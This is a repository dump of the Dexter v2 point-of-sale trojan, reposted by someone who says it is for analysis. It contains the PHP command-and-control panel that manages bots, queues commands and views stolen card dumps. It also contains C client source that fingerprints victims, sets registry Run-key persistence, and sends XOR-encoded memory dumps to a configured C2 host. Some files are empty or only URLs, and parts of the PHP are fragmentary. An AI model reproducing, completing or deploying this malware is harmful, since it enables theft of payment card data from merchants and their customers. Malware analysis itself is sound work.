├── README.md
├── panel
├── HOW TO.txt
├── config.php
├── database.sql
├── gateway.php
├── index.php
├── info.php
├── load.php
├── main.php
├── master.php
├── pagination.php
├── style.css
├── upload.php
├── viewer.php
└── viewer_pagination.php
└── source
├── CRC32.c
├── CRC32.h
├── Config.h
├── GetOSInfo.c
├── Globals.h
├── HttpInteract.c
├── HttpInteract.h
├── Infect.c
├── InjectSection.c
├── POSGrabber.c
├── POSGrabber.dsp
├── POSGrabber.dsw
├── POSGrabber.sln
├── POSGrabber.suo
├── POSGrabber.vcproj
├── common.c
├── posgrabber.vcxproj
├── posgrabber.vcxproj.filters
├── posgrabber.vcxproj.user
└── remotescript.c
/README.md:
--------------------------------------------------------------------------------
1 | # Dexter
2 | Dexter v2 - Point of Sales Trojan
3 |
4 | This repository doesn't contain my code. I have uploaded it to GitHub for those want to analyse the code.
5 |
6 | Source: http://www.malwaretech.com/p/sources.html
7 |
--------------------------------------------------------------------------------
/panel/HOW TO.txt:
--------------------------------------------------------------------------------
1 | Inside Config.php edit db name, db username, db password
2 | Inside upload.php edit $Site_Url and $DirName
3 | Inside load.php edit $DirName
--------------------------------------------------------------------------------
/panel/config.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/panel/database.sql:
--------------------------------------------------------------------------------
1 | -- phpMyAdmin SQL Dump
2 | -- version 3.4.5
3 | -- http://www.phpmyadmin.net
4 | --
5 | -- Хост: localhost
6 | -- Време на генериране:
7 | -- Версия на сървъра: 5.5.16
8 | -- Версия на PHP: 5.3.8
9 |
10 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
11 | SET time_zone = "+00:00";
12 |
13 |
14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
17 | /*!40101 SET NAMES utf8 */;
18 |
19 | --
20 | -- База данни: `nasproject`
21 | --
22 |
23 | -- --------------------------------------------------------
24 |
25 | --
26 | -- Структура на таблица `bots`
27 | --
28 |
29 | CREATE TABLE IF NOT EXISTS `bots` (
30 | `UID` text,
31 | `Version` text,
32 | `Username` text,
33 | `Computername` text,
34 | `RemoteIP` text,
35 | `UserAgent` text,
36 | `OS` text,
37 | `Architecture` text,
38 | `Idle Time` text,
39 | `Process List` longtext,
40 | `LastVisit` int(11) DEFAULT NULL,
41 | `LastCommand` int(11) DEFAULT NULL
42 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
43 |
44 | -- --------------------------------------------------------
45 |
46 | --
47 | -- Структура на таблица `commands`
48 | --
49 |
50 | CREATE TABLE IF NOT EXISTS `commands` (
51 | `UID` text,
52 | `Command` text,
53 | `InsertTime` int(11) DEFAULT NULL
54 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
55 |
56 | -- --------------------------------------------------------
57 |
58 | --
59 | -- Структура на таблица `config`
60 | --
61 |
62 | CREATE TABLE IF NOT EXISTS `config` (
63 | `Cnf_Name` text,
64 | `Cnf_ValueText` text,
65 | `Cnf_ValueInt` int(11) DEFAULT NULL
66 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
67 |
68 | --
69 | -- Ссхема на данните от таблица `config`
70 | --
71 |
72 | INSERT INTO `config` (`Cnf_Name`, `Cnf_ValueText`, `Cnf_ValueInt`) VALUES
73 | ('BotLife', NULL, 40),
74 | ('BotsPerPage', NULL, 20),
75 | ('DumpsPerPage', NULL, 1);
76 |
77 | -- --------------------------------------------------------
78 |
79 | --
80 | -- Структура на таблица `logs`
81 | --
82 |
83 | CREATE TABLE IF NOT EXISTS `logs` (
84 | `UID` text,
85 | `IP` text,
86 | `Dump` text,
87 | `Type` text,
88 | `Bin` text,
89 | `ServiceCode` text,
90 | `InsertTime` bigint(20) DEFAULT NULL
91 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
92 |
93 | -- --------------------------------------------------------
94 |
95 | --
96 | -- Структура на таблица `users`
97 | --
98 |
99 | CREATE TABLE IF NOT EXISTS `users` (
100 | `name` text,
101 | `password` text
102 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
103 |
104 | --
105 | -- Ссхема на данните от таблица `users`
106 | --
107 |
108 | INSERT INTO `users` (`name`, `password`) VALUES
109 | ('user', 'password');
110 |
111 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
112 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
113 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
114 |
--------------------------------------------------------------------------------
/panel/gateway.php:
--------------------------------------------------------------------------------
1 | '$LastCommand' OR `UID` LIKE \"\" AND `InsertTime` > '$LastCommand'";
154 | //echo $query;
155 | $result = mysql_query($query);
156 |
157 | $LastCommand = 0;
158 | if(!empty($result)) {
159 | while($row = mysql_fetch_array($result)) {
160 | $cookieData .= $row["Command"];
161 | $cookieData .= ";";
162 | $LastCommand = $row["InsertTime"];
163 | }
164 | }
165 |
166 | $cookieData .= '#';
167 | ////////////////////////////////
168 |
169 | //Update the bot last command
170 | if($LastCommand!=0) {
171 | $update = "UPDATE `" . $dbname . "`.`bots` SET `LastCommand` = '$LastCommand' WHERE `UID` = '$UID'";
172 | mysql_query($update);
173 | }
174 | //////////////////////////////////////
175 |
176 | //echo $cookieData;
177 | //Display the command
178 | $cookieData = base64_encode(_xor($cookieData, $Key));
179 | setcookie('response',$cookieData);
180 |
181 | //////////////////////////
182 |
183 | } //THERE IS BOT CONNECTED
184 |
185 | ?>
--------------------------------------------------------------------------------
/panel/index.php:
--------------------------------------------------------------------------------
1 |
2 |
"; // That set up the form to enter your password and username to login.
37 | ?>
38 |
--------------------------------------------------------------------------------
/panel/info.php:
--------------------------------------------------------------------------------
1 |
2 | " . $uid . "
";
24 | $rows = substr_count($row["Process List"],"\n")+1;
25 | echo "";
26 | }
27 |
28 | } else { echo "WTF your looking for here!?!?"; }
29 | ?>
--------------------------------------------------------------------------------
/panel/load.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/panel/main.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
10 |
11 |
12 |
13 | Dumps Viewer
14 | Bots Control
15 | File Uploader
16 |
17 |
18 |
--------------------------------------------------------------------------------
/panel/master.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
12 |
13 |
--------------------------------------------------------------------------------
/panel/pagination.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | All Bots: " . $AllBots . "";
22 | /////////////////////////////////////
23 |
24 | //Display bots online count
25 | $query = "SELECT `Cnf_ValueInt` FROM `config` WHERE `Cnf_Name` = 'BotLife'";
26 | $result = mysql_query($query);
27 | $row = mysql_fetch_array($result);
28 | $BotLife = $row["Cnf_ValueInt"];
29 |
30 |
31 | $Life = time() - ($row["Cnf_ValueInt"]*60); //convert minutes into seconds
32 | $query = "SELECT * FROM `bots` WHERE `LastVisit` >= '$Life'";
33 | $result = mysql_query($query);
34 | $BotsOnline = mysql_num_rows($result);
35 | echo " Bots Online: " . $BotsOnline . "";
36 | /////////////////////////////////
37 |
38 | $tbl_name="bots"; //your table name
39 | // How many adjacent pages should be shown on each side?
40 | $adjacents = 3;
41 |
42 | /*
43 | First get total number of rows in data table.
44 | If you have a WHERE clause in your query, make sure you mirror it here.
45 | */
46 | $query = "SELECT * FROM $tbl_name"; //FIXME: This is probably slowing the script
47 | $total_pages = mysql_num_rows(mysql_query($query));
48 | //$total_pages = $total_pages[num];
49 |
50 | /* Setup vars for query. */
51 | $targetpage = "master.php"; //your file name (the name of this file)
52 | //$limit = 2; //how many items to show per page
53 | $query = "SELECT `Cnf_ValueInt` FROM `config` WHERE `Cnf_Name` = 'BotsPerPage'";
54 | $row = mysql_fetch_array(mysql_query($query));
55 | $limit = $row["Cnf_ValueInt"];
56 | $page = isset($_GET['page']) ? $_GET['page'] : "";
57 | if($page)
58 | $start = ($page - 1) * $limit; //first item to display on this page
59 | else
60 | $start = 0; //if no page var is given, set start to 0
61 |
62 | /* Get data. */
63 | $sql = "SELECT * FROM $tbl_name LIMIT $start, $limit";
64 | $result = mysql_query($sql);
65 |
66 | /* Setup page vars for display. */
67 | if ($page == 0) $page = 1; //if no page var is given, default to 1.
68 | $prev = $page - 1; //previous page is page - 1
69 | $next = $page + 1; //next page is page + 1
70 | $lastpage = ceil($total_pages/$limit); //lastpage is = total pages / items per page, rounded up.
71 | $lpm1 = $lastpage - 1; //last page minus 1
72 |
73 | /*
74 | Now we apply our rules and draw the pagination object.
75 | We're actually saving the code to a variable in case we want to draw it more than once.
76 | */
77 | $pagination = "";
78 | if($lastpage > 1)
79 | {
80 | $pagination .= "\n";
153 | }
154 | ?>
155 |
156 |
157 | ';
160 | echo '';
161 | echo ' | ';
162 | echo 'UID | ';
163 | echo 'Version | ';
164 | echo 'Remote IP | ';
165 | echo 'Username | ';
166 | echo 'Computername | ';
167 | echo 'User Agent | ';
168 | echo 'OS | ';
169 | echo 'Architecture | ';
170 | echo 'Idle Time | ';
171 | echo 'Last Visit | ';
172 | echo 'Process List | ';
173 | echo '
';
174 |
175 |
176 | $ValuesNames = array( "UID","Version","RemoteIP","Username","Computername","UserAgent","OS","Architecture","Idle Time","LastVisit" );
177 |
178 | while($row = mysql_fetch_array($result)) {
179 |
180 | $i = 0;
181 | $UID = $row["UID"];
182 | $html = '';
183 | $html.= "Delete | ";
184 | while(isset($ValuesNames[$i])) {
185 |
186 | $html.= '';
187 | if($ValuesNames[$i]=="LastVisit") {
188 | $html.= date("r",$row[$ValuesNames[$i]]);
189 | } else {
190 | $html.= $row[$ValuesNames[$i]];
191 | }
192 | $html.= ' | ';
193 |
194 | $i++;
195 | }
196 |
197 | $html.= '';
198 | $html.= "Process List"; //FIXME: learn how to insert php vars in javascript
199 | $html.= ' | ';
200 |
201 | $html.= '
';
202 |
203 | echo $html;
204 |
205 | }
206 |
207 | echo '';
208 | ?>
209 |
210 | =$pagination?>
211 |
--------------------------------------------------------------------------------
/panel/style.css:
--------------------------------------------------------------------------------
1 | div.pagination {
2 | padding: 3px;
3 | margin: 3px;
4 | }
5 |
6 | div.pagination a {
7 | padding: 2px 5px 2px 5px;
8 | margin: 2px;
9 | border: 1px solid #AAAADD;
10 |
11 | text-decoration: none; /* no underline */
12 | color: #000099;
13 | }
14 | div.pagination a:hover, div.pagination a:active {
15 | border: 1px solid #000099;
16 |
17 | color: #000;
18 | }
19 | div.pagination span.current {
20 | padding: 2px 5px 2px 5px;
21 | margin: 2px;
22 | border: 1px solid #000099;
23 |
24 | font-weight: bold;
25 | background-color: #000099;
26 | color: #FFF;
27 | }
28 | div.pagination span.disabled {
29 | padding: 2px 5px 2px 5px;
30 | margin: 2px;
31 | border: 1px solid #EEE;
32 |
33 | color: #DDD;
34 | }
35 |
--------------------------------------------------------------------------------
/panel/upload.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
17 |
18 |
19 |
20 |
21 | ';
53 | echo '';
54 | echo ' | ';
55 | echo 'File Name | ';
56 | echo 'URL | ';
57 | echo '
';
58 |
59 | $handle = opendir($DirName);
60 |
61 | while (false !== ($entry = readdir($handle))) {
62 | if ($entry != "." && $entry != "..") {
63 | echo '';
64 | echo "Delete | ";
65 | echo "" . $entry . " | ";
66 | echo '' . $Site_Url . "load.php?request=" . substr($entry, 0, -4) . "\n" . ' | ';
67 | echo '
';
68 | }
69 | }
70 |
71 | echo '
';
72 | ?>
--------------------------------------------------------------------------------
/panel/viewer.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/panel/viewer_pagination.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | All Dumps: " . $AllBots . "";
21 | echo "Server Time: " . date("r") . "";
22 | /////////////////////////////////////
23 |
24 | $tbl_name="logs"; //your table name
25 | // How many adjacent pages should be shown on each side?
26 | $adjacents = 3;
27 |
28 | /*
29 | First get total number of rows in data table.
30 | If you have a WHERE clause in your query, make sure you mirror it here.
31 | */
32 | $query = "SELECT * FROM $tbl_name"; //FIXME: This is probably slowing the script
33 | $total_pages = mysql_num_rows(mysql_query($query));
34 | //$total_pages = $total_pages[num];
35 |
36 | /* Setup vars for query. */
37 | $targetpage = "viewer.php"; //your file name (the name of this file)
38 | //$limit = 2; //how many items to show per page
39 | $query = "SELECT `Cnf_ValueInt` FROM `config` WHERE `Cnf_Name` = 'DumpsPerPage'";
40 | $row = mysql_fetch_array(mysql_query($query));
41 | $limit = $row["Cnf_ValueInt"];
42 | $page = isset($_GET['page']) ? $_GET['page'] : "";
43 | if($page)
44 | $start = ($page - 1) * $limit; //first item to display on this page
45 | else
46 | $start = 0; //if no page var is given, set start to 0
47 |
48 | /* Get data. */
49 | $sql = "SELECT * FROM $tbl_name LIMIT $start, $limit";
50 | $result = mysql_query($sql);
51 |
52 | /* Setup page vars for display. */
53 | if ($page == 0) $page = 1; //if no page var is given, default to 1.
54 | $prev = $page - 1; //previous page is page - 1
55 | $next = $page + 1; //next page is page + 1
56 | $lastpage = ceil($total_pages/$limit); //lastpage is = total pages / items per page, rounded up.
57 | $lpm1 = $lastpage - 1; //last page minus 1
58 |
59 | /*
60 | Now we apply our rules and draw the pagination object.
61 | We're actually saving the code to a variable in case we want to draw it more than once.
62 | */
63 | $pagination = "";
64 | if($lastpage > 1)
65 | {
66 | $pagination .= "\n";
139 | }
140 | ?>
141 |
142 |
143 | ';
146 | echo '';
147 | echo 'Type | ';
148 | echo 'Dump | ';
149 | echo 'Log Time | ';
150 | echo '
';
151 |
152 |
153 | $ValuesNames = array( "Type","Dump","InsertTime" );
154 |
155 | while($row = mysql_fetch_array($result)) {
156 |
157 | $i = 0;
158 | $html = '';
159 | while(isset($ValuesNames[$i])) {
160 |
161 | $html.= '';
162 | if($ValuesNames[$i]=="InsertTime") {
163 | $html.= date("r",$row[$ValuesNames[$i]]);
164 | } else {
165 | $html.= $row[$ValuesNames[$i]];
166 | }
167 | $html.= ' | ';
168 |
169 | $i++;
170 | }
171 |
172 | $html.= '
';
173 |
174 | echo $html;
175 |
176 | }
177 |
178 | echo '';
179 | ?>
180 |
181 | =$pagination?>
182 |
--------------------------------------------------------------------------------
/source/CRC32.c:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nyx0/Dexter/efe615e7bec4628c4550816b0c5f50fc0c03264f/source/CRC32.c
--------------------------------------------------------------------------------
/source/CRC32.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nyx0/Dexter/efe615e7bec4628c4550816b0c5f50fc0c03264f/source/CRC32.h
--------------------------------------------------------------------------------
/source/Config.h:
--------------------------------------------------------------------------------
1 |
2 | //BEGIN CONFIG///////////
3 | #define Version "Machines"
4 | #define MemoryScanInterval (20*60000) //1min
5 | #define HttpConnectInterval (200*60000) //30min
6 | #define MutexString "WindowsResilienceServiceMutex"
7 | static char *Urls[] = { "*********.com",0x00 };
8 | static char *Pages[] = { "images/logo/header.php",0x00 };
9 | //END CONFIG////////////
10 |
--------------------------------------------------------------------------------
/source/GetOSInfo.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 |
5 | #include "Globals.h"
6 | #include "Config.h"
7 |
8 | #define VER_SUITE_WH_SERVER 0x00008000
9 | #define SM_SERVERR2 89
10 |
11 | typedef void (WINAPI *__GetNativeSystemInfo)(LPSYSTEM_INFO);
12 |
13 | void GetOSVersion(char *OS) {
14 |
15 | OSVERSIONINFOEX osi;
16 | SYSTEM_INFO si;
17 | __GetNativeSystemInfo _GetNativeSystemInfo;
18 |
19 |
20 | _memset(&osi,0x00,sizeof(osi));
21 | _memset(&si,0x00,sizeof(si));
22 | osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
23 |
24 |
25 | if(x64==TRUE) { //we are runnning on x64
26 | _GetNativeSystemInfo = (__GetNativeSystemInfo) GetProcAddress(GetModuleHandle("kernel32.dll"),"GetNativeSystemInfo");
27 | _GetNativeSystemInfo(&si);
28 | } else { //we are running on x86
29 | GetSystemInfo(&si);
30 | }
31 |
32 | GetVersionEx((OSVERSIONINFO *)&osi);
33 |
34 | if(osi.dwMajorVersion==5 && osi.dwMinorVersion==0) {
35 | lstrcpy(OS,"Windows 2000");
36 | return;
37 | }
38 |
39 | if(osi.dwMajorVersion==5 && osi.dwMinorVersion==1) {
40 | lstrcpy(OS,"Windows XP");
41 | return;
42 | }
43 |
44 | if(osi.dwMajorVersion==5 && osi.dwMinorVersion==2) {
45 | if((osi.wProductType == VER_NT_WORKSTATION) && (si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64)) {
46 | lstrcpy(OS,"Windows XP Professional x64");
47 | return;
48 | }
49 | if(GetSystemMetrics(SM_SERVERR2)==0) {
50 | lstrcpy(OS,"Windows Server 2003");
51 | return;
52 | }
53 | if((osi.wSuiteMask & VER_SUITE_WH_SERVER)==0) {
54 | lstrcpy(OS,"Windows Home Server");
55 | return;
56 | }
57 | if(GetSystemMetrics(SM_SERVERR2)!=0) {
58 | lstrcpy(OS,"Windows Server 2003 R2");
59 | return;
60 | }
61 |
62 | }
63 |
64 | if(osi.dwMajorVersion==6 && osi.dwMinorVersion==0) {
65 | if(osi.wProductType == VER_NT_WORKSTATION) {
66 | lstrcpy(OS,"Windows Vista");
67 | return;
68 | }
69 | if(osi.wProductType != VER_NT_WORKSTATION) {
70 | lstrcpy(OS,"Windows Server 2008");
71 | return;
72 | }
73 | }
74 | if(osi.dwMajorVersion==6 && osi.dwMinorVersion==1) {
75 | if(osi.wProductType != VER_NT_WORKSTATION) {
76 | lstrcpy(OS,"Windows Server R2");
77 | return;
78 | }
79 | if(osi.wProductType == VER_NT_WORKSTATION) {
80 | lstrcpy(OS,"Windows 7");
81 | return;
82 | }
83 | }
84 |
85 | }
86 |
87 | void GetIdleTime(char *Idle) { //returns Idle time in seconds as String
88 |
89 | DWORD tickCount,idleCount;
90 | LASTINPUTINFO lif;
91 |
92 | _memset(&lif,0x00,sizeof(lif));
93 | lif.cbSize = sizeof(LASTINPUTINFO);
94 |
95 | _GetLastInputInfo(&lif);
96 | tickCount = GetTickCount();
97 | idleCount = (tickCount - lif.dwTime) / 1000;
98 | wsprintf(Idle,"%d",idleCount);
99 | }
100 |
101 | char *GetProcList() {
102 |
103 | HANDLE hSnapShot,hProcess;
104 | PROCESSENTRY32 ProcInfo;
105 | char FullPath[MAX_PATH],*ProcList,*NewProcList;
106 | DWORD size,staticSize;
107 |
108 | _memset(&ProcInfo,0x00,sizeof(PROCESSENTRY32));
109 | ProcInfo.dwSize = sizeof(PROCESSENTRY32);
110 |
111 | hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
112 | Process32First(hSnapShot,&ProcInfo);
113 |
114 |
115 | size = 0;
116 | staticSize = 4096;
117 | ProcList = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,staticSize); //alloc static memory for the proc list
118 | _memset(ProcList,0x00,staticSize);
119 |
120 | do{
121 |
122 | hProcess = NULL;
123 |
124 | _memset(FullPath,0x00,sizeof(FullPath));
125 | wsprintf(FullPath,"%s\n",ProcInfo.szExeFile);
126 |
127 | size = size + lstrlenA(FullPath);
128 | if(size>staticSize) {
129 |
130 | NewProcList = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,size);
131 | _memset(NewProcList,0x00,size);
132 | lstrcpyA(NewProcList,ProcList);
133 | HeapFree(hHeap,HEAP_ZERO_MEMORY,ProcList);
134 | staticSize = size;
135 | ProcList = NewProcList;
136 | }
137 | lstrcatA(ProcList,FullPath);
138 |
139 | if(hProcess!=NULL) { CloseHandle(hProcess); }
140 | } while(Process32Next(hSnapShot,&ProcInfo));
141 |
142 | CloseHandle(hSnapShot);
143 |
144 |
145 | return ProcList;
146 | }
147 |
148 | void CryptEncodeCombine(char *VarName,char *VarData,char *GlobalVar);
149 |
150 | void GatherInfo(BOOL fFullInfo) { //fFullInfo - TRUE = gather full info, executed only at first connect.
151 | //fFullInfo - FALSE = gather only runtime changing info, execute at every check
152 |
153 | char UID[37],Username[64],Computername[64],OS[64],Arch[10],Idle[10],*ProcList;
154 | DWORD Size,TotalSize;
155 |
156 | if(fFullInfo==TRUE) { TotalSize = fullVarSize; } else { TotalSize = runtimeVarSize; }
157 |
158 | if(fFullInfo==TRUE) { //We gather full info
159 |
160 | //Get Username
161 | _memset(Username,0x00,sizeof(Username));
162 | Size = sizeof(Username);
163 | GetUserName(Username,&Size);
164 | TotalSize += lstrlen(Username);
165 |
166 | //Get Computer Name
167 | _memset(Computername,0x00,sizeof(Computername));
168 | Size = sizeof(Computername);
169 | GetComputerName(Computername,&Size);
170 | TotalSize += lstrlen(Computername);
171 |
172 | //Get OS Version Name
173 | _memset(OS,0x00,sizeof(OS));
174 | GetOSVersion(OS);
175 | TotalSize += lstrlen(OS);
176 |
177 | //Get Architecture
178 | if(x64==TRUE) { lstrcpy(Arch,"64 Bit"); } else { lstrcpy(Arch,"32 Bit"); }
179 | TotalSize += lstrlen(Arch);
180 |
181 | }
182 |
183 | //Get UID
184 | lstrcpy(UID,Uniq);
185 | TotalSize += lstrlen(UID);
186 |
187 | //Get Idle Time In Seconds
188 | _memset(Idle,0x00,sizeof(Idle));
189 | GetIdleTime(Idle);
190 | TotalSize += lstrlen(Idle);
191 |
192 | //Get process list - need to free it later
193 | ProcList = GetProcList();
194 | TotalSize += lstrlen(ProcList);
195 |
196 | //Get dumps - we directly use the buffer, then zero it and zero the size variables
197 | EnterCriticalSection(&crsBlob);
198 |
199 | TotalSize += GrowSize;
200 | //Alloc the pHttpData
201 | pHttpData = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,(2*TotalSize)); //Because base64 increase buffer size by around 1.33
202 | CryptEncodeCombine(varUID,UID,pHttpData); //UID has to be first always
203 | ///////////////////////////////////////
204 |
205 | if(GrowSize>0) {
206 |
207 | pBlob -= GrowSize;
208 | //MessageBox(NULL,pBlob,NULL,MB_OK);
209 | CryptEncodeCombine(varDumps,pBlob,pHttpData);
210 | _memset(pBlob,0x00,GrowSize);
211 | GrowSize = 0;
212 | }
213 | LeaveCriticalSection(&crsBlob);
214 | /////////////////////////////////////////////////
215 |
216 | if(fFullInfo==TRUE) {
217 |
218 | CryptEncodeCombine(varUsername,Username,pHttpData);
219 | CryptEncodeCombine(varComputername,Computername,pHttpData);
220 | CryptEncodeCombine(varOS,OS,pHttpData);
221 | CryptEncodeCombine(varArch,Arch,pHttpData);
222 | }
223 |
224 | CryptEncodeCombine(varIdle,Idle,pHttpData);
225 | CryptEncodeCombine(varProclist,ProcList,pHttpData);
226 |
227 | //Add the bot version
228 | lstrcpy(BotVersion,Version);
229 | CryptEncodeCombine(varVersion,BotVersion,pHttpData);
230 |
231 | //Add the xor key
232 | lstrcat(pHttpData,varKey);
233 | lstrcat(pHttpData,EncodedKey);
234 |
235 | HeapFree(hHeap,0,ProcList);
236 | //MessageBox(NULL,pHttpData,NULL,MB_OK);
237 | }
238 |
239 | void CryptEncodeCombine(char *VarName,char *VarData,char *GlobalVar) {
240 |
241 | int Size;
242 | char *pEncoded;
243 |
244 | Size = lstrlenA(VarData);
245 | pEncoded = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,Size*2); //CUZ COMPRESSION IS DISABLED
246 |
247 | //crypt with xor
248 | _xor(VarData,Key,Size,lstrlenA(Key));
249 |
250 | //encode with base64
251 | base64_encode(VarData,Size,pEncoded,Size*2);
252 |
253 |
254 | lstrcatA(GlobalVar,VarName);
255 | lstrcatA(GlobalVar,pEncoded);
256 |
257 | HeapFree(hHeap,0,pEncoded);
258 | }
259 |
--------------------------------------------------------------------------------
/source/Globals.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | // typedef struct tagLASTINPUTINFO {
4 | // UINT cbSize;
5 | // DWORD dwTime;
6 | // } LASTINPUTINFO, *PLASTINPUTINFO;
7 |
8 | typedef BOOL (WINAPI *__GetLastInputInfo)(PLASTINPUTINFO);
9 | __GetLastInputInfo _GetLastInputInfo;
10 |
11 | typedef BOOL (WINAPI *mIsWoW64Process) (HANDLE, PBOOL);
12 | mIsWoW64Process IsWoW64ProcessX;
13 |
14 | //global funcs
15 | void Update(char *Url);
16 | void Downloader(char *Url);
17 | void Uninstall();
18 | void HttpInteract();
19 | LRESULT CALLBACK DetectShutdown(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
20 | void MonitorShutdown();
21 | ULONG_PTR GetParentProcessId();
22 | BYTE *GetDownloadFileSize(char *conf,DWORD *pFileSize);
23 | char *DownloadFile(char *Url, DWORD *pFileSize);
24 | BOOL GetCookie(char *CookieUrl, char *pCommand);
25 | int _atoi(const char *string);
26 | int CopyTill(char *dest,char *src,char c);
27 | void ExecCommands(char *pCommands);
28 | void RandStrA(char *ptr,int len);
29 | void RandStrW(WCHAR *ptr,int len);
30 | void __cdecl _srand(unsigned int seed);
31 | int __cdecl _rand();
32 | void GenUnique(char *ptr);
33 | void GetDebugPrivs();
34 | BOOL IsPCx64();
35 | void _xor(char *src,char *key,int srclen,int keylen);
36 | void base64_encode(unsigned char *input_buffer, size_t input_len,char *output_buffer, size_t output_len);
37 | int base64_decode(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst);
38 | void url_decode(char *str, char *buf);
39 | void *_memset(void *s, int c, size_t n);
40 | void *_memcpy(void* dest, const void* src, size_t count);
41 | void GatherInfo(BOOL fFullInfo);
42 | void HttpMain();
43 | void HttpSignaler();
44 | void BeginInjection(BOOL IsChild);
45 | BOOL CheckIfInfected();
46 | void Infect();
47 | void ProtectRegistry();
48 | void MonitorChild();
49 | void DisableOpenFileWarning();
50 | void _entryPoint();
51 | /////////////////////////////////////////////////////////////////
52 |
53 |
54 |
55 | //global vars
56 | DWORD hMutex; //FIXME: I use DWORD, instead of HANDLE, cuz it causes error when i init it.
57 | HINTERNET hOpen;
58 | BOOL bInjected;
59 | BOOL ReportFlag,x64;
60 | BYTE *pBlob,*pHttpData,Uniq[37],BotVersion[20];
61 | DWORD GrowSize,ScanInterval,ConnectInterval,CurPID,ParentPID,ChildPID,CurrentModule;
62 | HANDLE hHeap,hThreadRegistry,hThreadChild,hThreadScan,hCacheMapping,hInteractEvent,hConnectEvent;
63 | CRITICAL_SECTION crsReportFlag,crsBlob;
64 | WCHAR OldLocation[MAX_PATH],CurrentLocation[MAX_PATH],wUniq[37],IEPath[MAX_PATH];
65 | char Key[5],EncodedKey[10];
66 |
67 |
68 | #define b64str "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
69 |
70 | static BYTE LookupDigits[] = {
71 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, //gap: ctrl chars
72 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, //gap: ctrl chars
73 | 0,0,0,0,0,0,0,0,0,0,0, //gap: spc,!"#$%'()*
74 | 62, // +
75 | 0, 0, 0, // gap ,-.
76 | 63, // /
77 | 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, // 0-9
78 | 0, 0, 0, // gap: :;<
79 | 99, // = (end padding)
80 | 0, 0, 0, // gap: >?@
81 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,15,16,
82 | 17,18,19,20,21,22,23,24,25, // A-Z
83 | 0, 0, 0, 0, 0, 0, // gap: [\]^_`
84 | 26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,
85 | 43,44,45,46,47,48,49,50,51, // a-z
86 | 0, 0, 0, 0, // gap: {|}~ (and the rest...)
87 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
88 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
89 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
90 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
91 | };
92 |
93 | //startup reg keys
94 | static char SoftwareName[] = "Software\\Resilience Software";
95 | static char RunPath[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
96 | static char AllUsersRunPath[] = ".DEFAULT\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
97 | //////////////////////////////////////////////////
98 |
99 | //Processes to skip
100 | static char *SkipProcesses[] = { "svchost.exe","iexplore.exe","explorer.exe","System","smss.exe","csrss.exe","winlogon.exe","lsass.exe","spoolsv.exe","alg.exe","wuauclt.exe",0x00};
101 |
102 | //Command line passed to updatebin.exe
103 | static char UpdateMutexMark[] = "UpdateMutex:";
104 |
105 | //Cookie name
106 | static char response[] = "response=";
107 |
108 | //POST variable names
109 | static char varUID[] = "page=";
110 | static char varDumps[] = "&ump=";
111 | static char varIdle[] = "&opt=";
112 | static char varUsername[] = "&unm=";
113 | static char varComputername[] = "&cnm=";
114 | static char varProclist[] = "&view=";
115 | static char varArch[] = "&spec=";
116 | static char varOS[] = "&query=";
117 | static char varKey[] = "&val=";
118 | static char varVersion[] = "&var=";
119 |
120 | static char ClassName[] = "DetectShutdownClass";
121 |
122 | //$ - start of all commands
123 | //# - end of all commands
124 | //; - end of each command
125 |
126 | //Commands
127 | static char download[] = "download-";
128 | static char update[] = "update-";
